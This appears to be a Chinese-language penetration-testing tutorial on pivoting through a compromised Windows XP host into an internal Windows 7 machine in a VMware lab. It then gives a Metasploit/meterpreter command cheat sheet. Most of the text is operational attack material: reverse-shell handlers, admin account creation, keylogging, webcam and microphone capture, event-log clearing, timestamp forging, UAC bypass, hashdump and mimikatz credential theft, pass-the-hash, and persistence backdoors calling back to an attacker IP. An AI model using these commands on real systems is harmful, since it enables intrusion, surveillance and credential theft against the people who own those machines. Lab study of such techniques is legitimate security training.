網絡拓撲

以kali為攻擊機,xp作為跳板主機,win7是內網主機
xp主機是提供web,FTP等服務,已被kali機獲取shell
win7正常不與外網訪問,和DMZ區域處於同一網段
環境搭建
使用VMware的主機模式,構建虛擬局域網。查看Host-only模式詳解
虛擬網絡編譯器中添加兩塊網卡vm1,vm2。 類型:主機模式

設置xp為雙網卡vm1,vm2。其余按網絡拓撲分配網卡

查看ip
kali

xp

win7

至此環境布置完畢
拿下跳板以及端口轉發
以社工等方法獲取到xp主機的shell
通過metasploit會話,使用Windows xp靶機作為跳板,掃描和攻擊內部網絡主機
#kali msf
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.252.128
lhost => 192.168.252.128
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.252.128:4444
[*] Sending stage (180291 bytes) to 192.168.252.130
[*] Meterpreter session 1 opened (192.168.252.128:4444 -> 192.168.252.130:1814) at 2019-11-16 12:44:58 +0800
meterpreter > ifconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 2
============
Name : AMD PCNET Family PCI Ethernet Adapter - rface
Hardware MAC : 00:0c:29:dd:e6:94
MTU : 1500
IPv4 Address : 192.168.85.129
IPv4 Netmask : 255.255.255.0
Interface 3
============
Name : VMware Accelerated AMD PCNet Adapter - rface
Hardware MAC : 00:0c:29:dd:e6:9e
MTU : 1500
IPv4 Address : 192.168.252.130
IPv4 Netmask : 255.255.255.0
可以看到xp是雙網卡,發現另一內網段 192.168.85.0/24。
對該內網進行滲透
-
添加內網的路由
meterpreter > run autoroute -s 192.168.85.0/24 #添加目標網段路由規則,獲取內部網絡訪問通道 meterpreter > route flush #不用的時候,記得刪掉就行
-
掃描內網主機
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.85.0/24 #arp掃描粗略的掃一眼目標內網的機器大概有多少發現 192.168.85.128的主機

-
socks代理
#利用sock4a模塊對目標內網代理,只能負責tcp的流量,並不是socks代理進去以后就什么都能搞了 meterpreter > background msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > set srvhost 127.0.0.1 msf auxiliary(socks4a) > set srvport 1111 msf auxiliary(socks4a) > run
在proxychians.conf中設置好代理,就可以對目標進行正常的內網滲透了
vi /etc/proxychains.conf #在文件末尾添加socks4代理服務器
利用proxychains代理掃描並執行nmap操作
proxychains nmap -Pn -sT 192.168.85.0/24 -p1-100
- 發現存在80端口,google配置代理

查看

獲取內網win7的shell
-
使用任意文件上傳,獲取路徑

-
這里使用蟻劍連接

-
可以看到win7 開啟了3389端口

-
這里開啟並使用遠程桌面
# 創建新的管理員賬戶(直接更改管理員密碼 net user Administrator 123) whoami net user net user wk 123 /add net localgroup administrators wk /add #wk加入管理員賬戶 # 使用遠程桌面 portfwd add -l 2222 -p 3389 -r 127.0.0.1 #先將3389流量轉發到代理服務器 rdesktop 127.0.0.1:2222 #kali自帶rdesktop


我這里出現錯誤,下載的win 7的系統有問題,但是此時的用戶是正常使用的。


到此時,接下來的操作大家都懂的!
常用命令總結
execute執行文件
execute #在目標機中執行文件
execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
# -d 在目標主機執行時顯示的進程名稱(用以偽裝)-m 直接從內存中執行
"-o hack.txt"是payload.exe的運行參數
migrate進程遷移
getpid # 獲取當前進程的pid
ps # 查看當前活躍進程
migrate <pid值> # 將Meterpreter會話移植到指定pid值進程中
kill <pid值> # 殺死進程
clearev清除日志
clearev # 清除windows中的應用程序日志、系統日志、安全日志
timestomp偽造時間戳
timestomp C:\\ -h #查看幫助
timestomp -v C:\\2.txt #查看時間戳
timestomp C:\\2.txt -f C:\\1.txt #將1.txt的時間戳復制給2.txt
timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四個屬性設置為統一時間
portfwd端口轉發
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #將目標機的3389端口轉發到本地1111端口
rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
autoroute添加路由
run autoroute -h # 查看幫助
run get_local_subnets # 查看目標內網網段地址
run autoroute -s 192.168.183.0/24 # 添加目標網段路由
run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等進行掃描
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
Socks代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run
# 然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服務器
socks4 127.0.0.1 2000
proxychains nmap -Pn -sT 192.168.80.129 -p1-1000 #proxychains代理訪問執行nmap操作
鍵盤記錄
keyscan_start # 開始鍵盤記錄
keyscan_dump # 導出記錄數據
keyscan_stop # 結束鍵盤記錄
網絡攝像頭
record_mic # 音頻錄制
webcam_chat # 開啟視頻聊天(對方有彈窗)
webcam_list # 查看攝像頭
webcam_snap # 通過攝像頭拍照
webcam_stream # 通過攝像頭開啟視頻監控(以網頁形式進行監控≈直播)
截屏
screenshot # 截屏
use espia # 使用espia模塊
screengrab # 截屏
繞過UAC提權
msf內置一些bypassuac腳本,原理不同,使用方法類似,執行后返回一個新的會話,執行getsystem即可提權
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
use exploit/windows/local/bypassuac
set session 1
run
getsystem
竊取hash及密碼&哈希傳遞
# 竊取hash及密碼
hashdump
run post/windows/gather/smart_hashdump
得到的hash可以拿去https://cmd5.com/ 解密一下即是用戶密碼
#mimikatz
load mimikatz # 加載mimikatz模塊
msv # 獲取用戶和hash值
kerberos # 獲取內存中的明文密碼信息
wdigest # 獲取內存中的明文密碼信息
mimikatz_command -f a:: # 需要以錯誤的模塊來讓正確的模塊顯示
mimikatz_command -f sekurlsa::searchPasswords # 獲取用戶密碼
mimikatz_command -f samdump::hashes # 執行用戶hash
#哈希傳遞
#利用hashdump得到用戶的hash后可利用psexec模塊進行哈希傳遞攻擊。
使用psexec的前提:SMB服務必須開啟,也就是開啟445端口;Admin$可以訪問
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP # 域用戶需要設置SMBDOMAIN
run
RDP
#getgui命令
#這里需要注意的是通過getgui命令,雖然可以成功添加用戶,但是沒有權限遠程登錄桌面,這里推薦使用enable_rdp腳本添加。
run getgui –h # 查看幫助
run getgui -e # 開啟遠程桌面
run getgui -u admin -p admin # 添加用戶
run getgui -f 6666 -e # 3389端口轉發到6666
#enable_rdp腳本
#通過enable_rdp腳本將用戶添加到遠程桌面用戶組和管理員用戶組
run post/windows/manage/enable_rdp #開啟遠程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用戶
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 將3389端口轉發到6667
#遠程桌面
enumdesktops # 查看可用的桌面
getdesktop # 獲取當前meterpreter 關聯的桌面
setdesktop # 設置meterpreter關聯的桌面 -h查看幫助
run vnc # 使用vnc遠程桌面連接
rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
后門植入
# Persistence(通過啟動項安裝)
run persistence –h # 查看幫助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
-X:設置后門在系統啟動后自啟動。該方式會在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表信息。由於權限原因會導致添加失敗,后門無法啟動。因此在非管理員權限下,不推薦使用該參數
-U:設置后門在用戶登錄后自啟動。該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注冊表信息
-L:后門傳到遠程主機的位置默認為%TEMP%
-i:設置反向連接間隔時間為5秒
-p:設置反向連接的端口號
-r:設置反向連接的ip地址
